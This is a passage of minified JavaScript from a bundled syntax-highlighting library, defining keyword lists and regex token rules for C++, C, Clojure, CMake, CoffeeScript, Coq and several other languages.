K=A.COMMENT("//","$",{contains:[{begin:/\\\n/}]}),q="decltype\\(auto\\)",Y="[a-zA-Z_]\\w*::",z="<[^<>]+>",w="(decltype\\(auto\\)|"+DaA("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+DaA("<[^<>]+>")+")",H={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},J="\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)",O={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},A.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},X={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)((ll|LL|l|L)(u|U)?|(u|U)(ll|LL|l|L)?|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},$={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},A.inherit(O,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/},K,A.C_BLOCK_COMMENT_MODE]},_={className:"title",begin:DaA("[a-zA-Z_]\\w*::")+A.IDENT_RE,relevance:0},G=DaA("[a-zA-Z_]\\w*::")+A.IDENT_RE+"\\s*\\(",W={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"_Bool _Complex _Imaginary",_relevance_hints:["asin","atan2","atan","calloc","ceil","cosh","cos","exit","exp","fabs","floor","fmod","fprintf","fputs","free","frexp","auto_ptr","deque","list","queue","stack","vector","map","set","pair","bitset","multiset","multimap","unordered_set","fscanf","future","isalnum","isalpha","iscntrl","isdigit","isgraph","islower","isprint","ispunct","isspace","isupper","isxdigit","tolower","toupper","labs","ldexp","log10","log","malloc","realloc","memchr","memcmp","memcpy","memset","modf","pow","printf","putchar","puts","scanf","sinh","sin","snprintf","sprintf","sqrt","sscanf","strcat","strchr","strcmp","strcpy","strcspn","strlen","strncat","strncmp","strncpy","strpbrk","strrchr","strspn","strstr","tanh","tan","unordered_map","unordered_multiset","unordered_multimap","priority_queue","make_pair","array","shared_ptr","abort","terminate","abs","acos","vfprintf","vprintf","vsprintf","endl","initializer_list","unique_ptr","complex","imaginary","std","string","wstring","cin","cout","cerr","clog","stdin","stdout","stderr","stringstream","istringstream","ostringstream"],literal:"true false nullptr NULL"},D={className:"function.dispatch",relevance:0,keywords:W,begin:Ox1(/\b/,/(?!decltype)/,/(?!if)/,/(?!for)/,/(?!while)/,A.IDENT_RE,ajq(/\s*\(/))},j=[D,$,H,K,A.C_BLOCK_COMMENT_MODE,X,O],M={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:W,contains:j.concat([{begin:/\(/,end:/\)/,keywords:W,contains:j.concat(["self"]),relevance:0}]),relevance:0},P={className:"function",begin:"("+w+"[\\*&\\s]+)+"+G,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:W,illegal:/[^\w\s\*&:<>.]/,contains:[{begin:"decltype\\(auto\\)",keywords:W,relevance:0},{begin:G,returnBegin:!0,contains:[_],relevance:0},{begin:/::/,relevance:0},{begin:/:/,endsWithParent:!0,contains:[O,X]},{className:"params",begin:/\(/,end:/\)/,keywords:W,relevance:0,contains:[K,A.C_BLOCK_COMMENT_MODE,O,X,H,{begin:/\(/,end:/\)/,keywords:W,relevance:0,contains:["self",K,A.C_BLOCK_COMMENT_MODE,O,X,H]}]},H,K,A.C_BLOCK_COMMENT_MODE,$]};return{name:"C++",aliases:["cc","c++","h++","hpp","hh","hxx","cxx"],keywords:W,illegal:"</",classNameAliases:{"function.dispatch":"built_in"},contains:[].concat(M,P,D,j,[$,{begin:"\\b(deque|list|queue|priority_queue|pair|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",end:">",keywords:W,contains:["self",H]},{begin:A.IDENT_RE+"::",keywords:W},{className:"class",beginKeywords:"enum class struct union",end:/[{;:<>=]/,contains:[{beginKeywords:"final class struct"},A.TITLE_MODE]}]),exports:{preprocessor:$,strings:O,keywords:W}}}function tjq(A){let K=sjq(A),q=["c","h"],Y=["cc","c++","h++","hpp","hh","hxx","cxx"];if(K.disableAutodetect=!0,K.aliases=[],!A.getLanguage("c"))K.aliases.push(...q);if(!A.getLanguage("cpp"))K.aliases.push(...Y);return K}Fw8.exports=tjq});var pw8=v((Okz,Uw8)=>{function ejq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function jaA(A){return AMq("(",A,")?")}function AMq(...A){return A.map((q)=>ejq(q)).join("")}function KMq(A){let K=A.COMMENT("//","$",{contains:[{begin:/\\\n/}]}),q="decltype\\(auto\\)",Y="[a-zA-Z_]\\w*::",z="<[^<>]+>",w="(decltype\\(auto\\)|"+jaA("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+jaA("<[^<>]+>")+")",H={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},J="\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)",O={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},A.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},X={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)((ll|LL|l|L)(u|U)?|(u|U)(ll|LL|l|L)?|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},$={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},A.inherit(O,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/},K,A.C_BLOCK_COMMENT_MODE]},_={className:"title",begin:jaA("[a-zA-Z_]\\w*::")+A.IDENT_RE,relevance:0},G=jaA("[a-zA-Z_]\\w*::")+A.IDENT_RE+"\\s*\\(",Z={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"std string wstring cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set pair bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap priority_queue make_pair array shared_ptr abort terminate abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf future isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr _Bool complex _Complex imaginary _Imaginary",literal:"true false nullptr NULL"},W=[$,H,K,A.C_BLOCK_COMMENT_MODE,X,O],D={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:Z,contains:W.concat([{begin:/\(/,end:/\)/,keywords:Z,contains:W.concat(["self"]),relevance:0}]),relevance:0},j={className:"function",begin:"("+w+"[\\*&\\s]+)+"+G,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:Z,illegal:/[^\w\s\*&:<>.]/,contains:[{begin:"decltype\\(auto\\)",keywords:Z,relevance:0},{begin:G,returnBegin:!0,contains:[_],relevance:0},{className:"params",begin:/\(/,end:/\)/,keywords:Z,relevance:0,contains:[K,A.C_BLOCK_COMMENT_MODE,O,X,H,{begin:/\(/,end:/\)/,keywords:Z,relevance:0,contains:["self",K,A.C_BLOCK_COMMENT_MODE,O,X,H]}]},H,K,A.C_BLOCK_COMMENT_MODE,$]};return{name:"C",aliases:["h"],keywords:Z,disableAutodetect:!0,illegal:"</",contains:[].concat(D,j,W,[$,{begin:"\\b(deque|list|queue|priority_queue|pair|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",end:">",keywords:Z,contains:["self",H]},{begin:A.IDENT_RE+"::",keywords:Z},{className:"class",beginKeywords:"enum class struct union",end:/[{;:<>=]/,contains:[{beginKeywords:"final class struct"},A.TITLE_MODE]}]),exports:{preprocessor:$,strings:O,keywords:Z}}}Uw8.exports=KMq});var cw8=v((Xkz,dw8)=>{function qMq(A){let K="div mod in and or not xor asserterror begin case do downto else end exit for if of repeat then to until while with var",q="false true",Y=[A.C_LINE_COMMENT_MODE,A.COMMENT(/\{/,/\}/,{relevance:0}),A.COMMENT(/\(\*/,/\*\)/,{relevance:10})],z={className:"string",begin:/'/,end:/'/,contains:[{begin:/''/}]},w={className:"string",begin:/(#\d+)+/},H={className:"number",begin:"\\b\\d+(\\.\\d+)?(DT|D|T)",relevance:0},J={className:"string",begin:'"',end:'"'},O={className:"function",beginKeywords:"procedure",end:/[:;]/,keywords:"procedure|10",contains:[A.TITLE_MODE,{className:"params",begin:/\(/,end:/\)/,keywords:K,contains:[z,w]}].concat(Y)},X={className:"class",begin:"OBJECT (Table|Form|Report|Dataport|Codeunit|XMLport|MenuSuite|Page|Query) (\\d+) ([^\\r\\n]+)",returnBegin:!0,contains:[A.TITLE_MODE,O]};return{name:"C/AL",case_insensitive:!0,keywords:{keyword:K,literal:"false true"},illegal:/\/\*/,contains:[z,w,H,J,A.NUMBER_MODE,X,O]}}dw8.exports=qMq});var iw8=v(($kz,lw8)=>{function YMq(A){return{name:"Cap’n Proto",aliases:["capnp"],keywords:{keyword:"struct enum interface union group import using const annotation extends in of on as with from fixed",built_in:"Void Bool Int8 Int16 Int32 Int64 UInt8 UInt16 UInt32 UInt64 Float32 Float64 Text Data AnyPointer AnyStruct Capability List",literal:"true false"},contains:[A.QUOTE_STRING_MODE,A.NUMBER_MODE,A.HASH_COMMENT_MODE,{className:"meta",begin:/@0x[\w\d]{16};/,illegal:/\n/},{className:"symbol",begin:/@\d+\b/},{className:"class",beginKeywords:"struct enum",end:/\{/,illegal:/\n/,contains:[A.inherit(A.TITLE_MODE,{starts:{endsWithParent:!0,excludeEnd:!0}})]},{className:"class",beginKeywords:"interface",end:/\{/,illegal:/\n/,contains:[A.inherit(A.TITLE_MODE,{starts:{endsWithParent:!0,excludeEnd:!0}})]}]}}lw8.exports=YMq});var rw8=v((_kz,nw8)=>{function zMq(A){let K="assembly module package import alias class interface object given value assign void function new of extends satisfies abstracts in out return break continue throw assert dynamic if else switch case for while try catch finally then let this outer super is exists nonempty",q="shared abstract formal default actual variable late native deprecated final sealed annotation suppressWarnings small",Y="doc by license see throws tagged",z={className:"subst",excludeBegin:!0,excludeEnd:!0,begin:/``/,end:/``/,keywords:K,relevance:10},w=[{className:"string",begin:'"""',end:'"""',relevance:10},{className:"string",begin:'"',end:'"',contains:[z]},{className:"string",begin:"'",end:"'"},{className:"number",begin:"#[0-9a-fA-F_]+|\\$[01_]+|[0-9_]+(?:\\.[0-9_](?:[eE][+-]?\\d+)?)?[kMGTPmunpf]?",relevance:0}];return z.contains=w,{name:"Ceylon",keywords:{keyword:K+" "+q,meta:"doc by license see throws tagged"},illegal:"\\$[^01]|#[^0-9a-fA-F]",contains:[A.C_LINE_COMMENT_MODE,A.COMMENT("/\\*","\\*/",{contains:["self"]}),{className:"meta",begin:'@[a-z]\\w*(?::"[^"]*")?'}].concat(w)}}nw8.exports=zMq});var aw8=v((Gkz,ow8)=>{function wMq(A){return{name:"Clean",aliases:["icl","dcl"],keywords:{keyword:"if let in with where case of class instance otherwise implementation definition system module from import qualified as special code inline foreign export ccall stdcall generic derive infix infixl infixr",built_in:"Int Real Char Bool",literal:"True False"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,{begin:"->|<-[|:]?|#!?|>>=|\\{\\||\\|\\}|:==|=:|<>"}]}}ow8.exports=wMq});var tw8=v((Zkz,sw8)=>{function HMq(A){let q="[a-zA-Z_\\-!.?+*=<>&#'][a-zA-Z_\\-!.?+*=<>&#'0-9/;:]*",Y="def defonce defprotocol defstruct defmulti defmethod defn- defn defmacro deftype defrecord",z={$pattern:q,"builtin-name":"def defonce defprotocol defstruct defmulti defmethod defn- defn defmacro deftype defrecord cond apply if-not if-let if not not= =|0 <|0 >|0 <=|0 >=|0 ==|0 +|0 /|0 *|0 -|0 rem quot neg? pos? delay? symbol? keyword? true? false? integer? empty? coll? list? set? ifn? fn? associative? sequential? sorted? counted? reversible? number? decimal? class? distinct? isa? float? rational? reduced? ratio? odd? even? char? seq? vector? string? map? nil? contains? zero? instance? not-every? not-any? libspec? -> ->> .. . inc compare do dotimes mapcat take remove take-while drop letfn drop-last take-last drop-while while intern condp case reduced cycle split-at split-with repeat replicate iterate range merge zipmap declare line-seq sort comparator sort-by dorun doall nthnext nthrest partition eval doseq await await-for let agent atom send send-off release-pending-sends add-watch mapv filterv remove-watch agent-error restart-agent set-error-handler error-handler set-error-mode! error-mode shutdown-agents quote var fn loop recur throw try monitor-enter monitor-exit macroexpand macroexpand-1 for dosync and or when when-not when-let comp juxt partial sequence memoize constantly complement identity assert peek pop doto proxy first rest cons cast coll last butlast sigs reify second ffirst fnext nfirst nnext meta with-meta ns in-ns create-ns import refer keys select-keys vals key val rseq name namespace promise into transient persistent! conj! assoc! dissoc! pop! disj! use class type num float double short byte boolean bigint biginteger bigdec print-method print-dup throw-if printf format load compile get-in update-in pr pr-on newline flush read slurp read-line subvec with-open memfn time re-find re-groups rand-int rand mod locking assert-valid-fdecl alias resolve ref deref refset swap! reset! set-validator! compare-and-set! alter-meta! reset-meta! commute get-validator alter ref-set ref-history-count ref-min-history ref-max-history ensure sync io! new next conj set! to-array future future-call into-array aset gen-class reduce map filter find empty hash-map hash-set sorted-map sorted-map-by sorted-set sorted-set-by vec vector seq flatten reverse assoc dissoc list disj get union difference intersection extend extend-type extend-protocol int nth delay count concat chunk chunk-buffer chunk-append chunk-first chunk-rest max min dec unchecked-inc-int unchecked-inc unchecked-dec-inc unchecked-dec unchecked-negate unchecked-add-int unchecked-add unchecked-subtract-int unchecked-subtract chunk-next chunk-cons chunked-seq? prn vary-meta lazy-seq spread list* str find-keyword keyword symbol gensym force rationalize"},w="[-+]?\\d+(\\.\\d+)?",H={begin:q,relevance:0},J={className:"number",begin:"[-+]?\\d+(\\.\\d+)?",relevance:0},O=A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),X=A.COMMENT(";","$",{relevance:0}),$={className:"literal",begin:/\b(true|false|nil)\b/},_={begin:"[\\[\\{]",end:"[\\]\\}]"},G={className:"comment",begin:"\\^"+q},Z=A.COMMENT("\\^\\{","\\}"),W={className:"symbol",begin:"[:]{1,2}"+q},D={begin:"\\(",end:"\\)"},j={endsWithParent:!0,relevance:0},M={keywords:z,className:"name",begin:q,relevance:0,starts:j},P=[D,O,G,Z,X,W,_,J,$,H],f={beginKeywords:"def defonce defprotocol defstruct defmulti defmethod defn- defn defmacro deftype defrecord",lexemes:q,end:'(\\[|#|\\d|"|:|\\{|\\)|\\(|$)',contains:[{className:"title",begin:q,relevance:0,excludeEnd:!0,endsParent:!0}].concat(P)};return D.contains=[A.COMMENT("comment",""),f,M,j],j.contains=P,_.contains=P,Z.contains=[_],{name:"Clojure",aliases:["clj"],illegal:/\S/,contains:[D,O,G,Z,X,W,_,J,$]}}sw8.exports=HMq});var AH8=v((Wkz,ew8)=>{function JMq(A){return{name:"Clojure REPL",contains:[{className:"meta",begin:/^([\w.-]+|\s*#_)?=>/,starts:{end:/$/,subLanguage:"clojure"}}]}}ew8.exports=JMq});var qH8=v((Dkz,KH8)=>{function OMq(A){return{name:"CMake",aliases:["cmake.in"],case_insensitive:!0,keywords:{keyword:"break cmake_host_system_information cmake_minimum_required cmake_parse_arguments cmake_policy configure_file continue elseif else endforeach endfunction endif endmacro endwhile execute_process file find_file find_library find_package find_path find_program foreach function get_cmake_property get_directory_property get_filename_component get_property if include include_guard list macro mark_as_advanced math message option return separate_arguments set_directory_properties set_property set site_name string unset variable_watch while add_compile_definitions add_compile_options add_custom_command add_custom_target add_definitions add_dependencies add_executable add_library add_link_options add_subdirectory add_test aux_source_directory build_command create_test_sourcelist define_property enable_language enable_testing export fltk_wrap_ui get_source_file_property get_target_property get_test_property include_directories include_external_msproject include_regular_expression install link_directories link_libraries load_cache project qt_wrap_cpp qt_wrap_ui remove_definitions set_source_files_properties set_target_properties set_tests_properties source_group target_compile_definitions target_compile_features target_compile_options target_include_directories target_link_directories target_link_libraries target_link_options target_sources try_compile try_run ctest_build ctest_configure ctest_coverage ctest_empty_binary_directory ctest_memcheck ctest_read_custom_files ctest_run_script ctest_sleep ctest_start ctest_submit ctest_test ctest_update ctest_upload build_name exec_program export_library_dependencies install_files install_programs install_targets load_command make_directory output_required_files remove subdir_depends subdirs use_mangled_mesa utility_source variable_requires write_file qt5_use_modules qt5_use_package qt5_wrap_cpp on off true false and or not command policy target test exists is_newer_than is_directory is_symlink is_absolute matches less greater equal less_equal greater_equal strless strgreater strequal strless_equal strgreater_equal version_less version_greater version_equal version_less_equal version_greater_equal in_list defined"},contains:[{className:"variable",begin:/\$\{/,end:/\}/},A.HASH_COMMENT_MODE,A.QUOTE_STRING_MODE,A.NUMBER_MODE]}}KH8.exports=OMq});var zH8=v((jkz,YH8)=>{var XMq=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],$Mq=["true","false","null","undefined","NaN","Infinity"],_Mq=["Intl","DataView","Number","Math","Date","String","RegExp","Object","Function","Boolean","Error","Symbol","Set","Map","WeakSet","WeakMap","Proxy","Reflect","JSON","Promise","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Float32Array","Array","Uint8Array","Uint8ClampedArray","ArrayBuffer","BigInt64Array","BigUint64Array","BigInt"],GMq=["EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"],ZMq=["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],WMq=["arguments","this","super","console","window","document","localStorage","module","global"],DMq=[].concat(ZMq,WMq,_Mq,GMq);function jMq(A){let K=["npm","print"],q=["yes","no","on","off"],Y=["then","unless","until","loop","by","when","and","or","is","isnt","not"],z=["var","const","let","function","static"],w=(Z)=>(W)=>!Z.includes(W),H={keyword:XMq.concat(Y).filter(w(z)),literal:$Mq.concat(q),built_in:DMq.concat(K)},J="[A-Za-z$_][0-9A-Za-z$_]*",O={className:"subst",begin:/#\{/,end:/\}/,keywords:H},X=[A.BINARY_NUMBER_MODE,A.inherit(A.C_NUMBER_MODE,{starts:{end:"(\\s*/)?",relevance:0}}),{className:"string",variants:[{begin:/'''/,end:/'''/,contains:[A.BACKSLASH_ESCAPE]},{begin:/'/,end:/'/,contains:[A.BACKSLASH_ESCAPE]},{begin:/"""/,end:/"""/,contains:[A.BACKSLASH_ESCAPE,O]},{begin:/"/,end:/"/,contains:[A.BACKSLASH_ESCAPE,O]}]},{className:"regexp",variants:[{begin:"///",end:"///",contains:[O,A.HASH_COMMENT_MODE]},{begin:"//[gim]{0,3}(?=\\W)",relevance:0},{begin:/\/(?![ *]).*?(?![\\]).\/[gim]{0,3}(?=\W)/}]},{begin:"@[A-Za-z$_][0-9A-Za-z$_]*"},{subLanguage:"javascript",excludeBegin:!0,excludeEnd:!0,variants:[{begin:"```",end:"```"},{begin:"`",end:"`"}]}];O.contains=X;let $=A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),_="(\\(.*\\)\\s*)?\\B[-=]>",G={className:"params",begin:"\\([^\\(]",returnBegin:!0,contains:[{begin:/\(/,end:/\)/,keywords:H,contains:["self"].concat(X)}]};return{name:"CoffeeScript",aliases:["coffee","cson","iced"],keywords:H,illegal:/\/\*/,contains:X.concat([A.COMMENT("###","###"),A.HASH_COMMENT_MODE,{className:"function",begin:"^\\s*[A-Za-z$_][0-9A-Za-z$_]*\\s*=\\s*"+_,end:"[-=]>",returnBegin:!0,contains:[$,G]},{begin:/[:\(,=]\s*/,relevance:0,contains:[{className:"function",begin:_,end:"[-=]>",returnBegin:!0,contains:[G]}]},{className:"class",beginKeywords:"class",end:"$",illegal:/[:="\[\]]/,contains:[{beginKeywords:"extends",endsWithParent:!0,illegal:/[:="\[\]]/,contains:[$]},$]},{begin:"[A-Za-z$_][0-9A-Za-z$_]*:",end:":",returnBegin:!0,returnEnd:!0,relevance:0}])}}YH8.exports=jMq});var HH8=v((Mkz,wH8)=>{function MMq(A){return{name:"Coq",keywords:{keyword:"_|0 as at cofix else end exists exists2 fix for forall fun if IF in let match mod Prop return Set then Type using where with Abort About Add Admit Admitted All Arguments Assumptions Axiom Back BackTo Backtrack Bind Blacklist Canonical Cd Check Class Classes Close Coercion Coercions CoFixpoint CoInductive Collection Combined Compute Conjecture Conjectures Constant constr Constraint Constructors Context Corollary CreateHintDb Cut Declare Defined Definition Delimit Dependencies Dependent Derive Drop eauto End Equality Eval Example Existential Existentials Existing Export exporting Extern Extract Extraction Fact Field Fields File Fixpoint Focus for From Function Functional Generalizable Global Goal Grab Grammar Graph Guarded Heap Hint HintDb Hints Hypotheses Hypothesis ident Identity If Immediate Implicit Import Include Inductive Infix Info Initial Inline Inspect Instance Instances Intro Intros Inversion Inversion_clear Language Left Lemma Let Libraries Library Load LoadPath Local Locate Ltac ML Mode Module Modules Monomorphic Morphism Next NoInline Notation Obligation Obligations Opaque Open Optimize Options Parameter Parameters Parametric Path Paths pattern Polymorphic Preterm Print Printing Program Projections Proof Proposition Pwd Qed Quit Rec Record Recursive Redirect Relation Remark Remove Require Reserved Reset Resolve Restart Rewrite Right Ring Rings Save Scheme Scope Scopes Script Search SearchAbout SearchHead SearchPattern SearchRewrite Section Separate Set Setoid Show Solve Sorted Step Strategies Strategy Structure SubClass Table Tables Tactic Term Test Theorem Time Timeout Transparent Type Typeclasses Types Undelimit Undo Unfocus Unfocused Unfold Universe Universes Unset Unshelve using Variable Variables Variant Verbose Visibility where with",built_in:"abstract absurd admit after apply as assert assumption at auto autorewrite autounfold before bottom btauto by case case_eq cbn cbv change classical_left classical_right clear clearbody cofix compare compute congruence constr_eq constructor contradict contradiction cut cutrewrite cycle decide decompose dependent destruct destruction dintuition discriminate discrR do double dtauto eapply eassumption eauto ecase econstructor edestruct ediscriminate eelim eexact eexists einduction einjection eleft elim elimtype enough equality erewrite eright esimplify_eq esplit evar exact exactly_once exfalso exists f_equal fail field field_simplify field_simplify_eq first firstorder fix fold fourier functional generalize generalizing gfail give_up has_evar hnf idtac in induction injection instantiate intro intro_pattern intros intuition inversion inversion_clear is_evar is_var lapply lazy left lia lra move native_compute nia nsatz omega once pattern pose progress proof psatz quote record red refine reflexivity remember rename repeat replace revert revgoals rewrite rewrite_strat right ring ring_simplify rtauto set setoid_reflexivity setoid_replace setoid_rewrite setoid_symmetry setoid_transitivity shelve shelve_unifiable simpl simple simplify_eq solve specialize split split_Rabs split_Rmult stepl stepr subst sum swap symmetry tactic tauto time timeout top transitivity trivial try tryif unfold unify until using vm_compute with"},contains:[A.QUOTE_STRING_MODE,A.COMMENT("\\(\\*","\\*\\)"),A.C_NUMBER_MODE,{className:"type",excludeBegin:!0,begin:"\\|\\s*",end:"\\w+"},{begin:/[-=]>/}]}}wH8.exports=MMq});var OH8=v((Pkz,JH8)=>{function PMq(A){return{name:"Caché Object Script",case_insensitive:!0,aliases:["cls"],keywords:"property parameter class classmethod clientmethod extends as break catch close continue do d|0 else elseif for goto halt hang h|0 if job j|0 kill k|0 lock l|0 merge new open quit q|0 read r|0 return set s|0 tcommit throw trollback try tstart use view while write w|0 xecute x|0 zkill znspace zn ztrap zwrite zw zzdump zzwrite print zbreak zinsert zload zprint zremove zsave zzprint mv mvcall mvcrt mvdim mvprint zquit zsync ascii",contains:[{className:"number",begin:"\\b(\\d+(\\.\\d*)?|\\.\\d+)",relevance:0},{className:"string",variants:[{begin:'"',end:'"',contains:[{begin:'""',relevance:0}]}]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"comment",begin:/;/,end:"$",relevance:0},{className:"built_in",begin:/(?:\$\$?|\.\.)\^?[a-zA-Z]+/},{className:"built_in",begin:/\$\$\$[a-zA-Z]+/},{className:"built_in",begin:/%[a-z]+(?:\.[a-z]+)*/},{className:"symbol",begin:/\^%?[a-zA-Z][\w]*/},{className:"keyword",begin:/##class|##super|#define|#dim/},{begin:/&sql\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,subLanguage:"sql"},{begin:/&(js|jscript|javascript)</,end:/>/,excludeBegin:!0,excludeEnd:!0,subLanguage:"javascript"},{begin:/&html<\s*</,end:/>\s*>/,subLanguage:"xml"}]}}JH8.exports=PMq});var $H8=v((Vkz,XH8)=>{function VMq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function fMq(A){return Xx1("(?=",A,")")}function MaA(A){return Xx1("(",A,")?")}function Xx1(...A){return A.map((q)=>VMq(q)).join("")}function NMq(A){let K=A.COMMENT("//","$",{contains:[{begin:/\\\n/}]}),q="decltype\\(auto\\)",Y="[a-zA-Z_]\\w*::",z="<[^<>]+>",w="(decltype\\(auto\\)|"+MaA("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+MaA("<[^<>]+>")+")",H={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},J="\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)",O={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},A.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},X={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)((ll|LL|l|L)(u|U)?|(u|U)(ll|LL|l|L)?|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},$={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},A.inherit(O,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/},K,A.C_BLOCK_COMMENT_MODE]},_={className:"title",begin:MaA("[a-zA-Z_]\\w*::")+A.IDENT_RE,relevance:0},G=MaA("[a-zA-Z_]\\w*::")+A.IDENT_RE+"\\s*\\(",W={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong 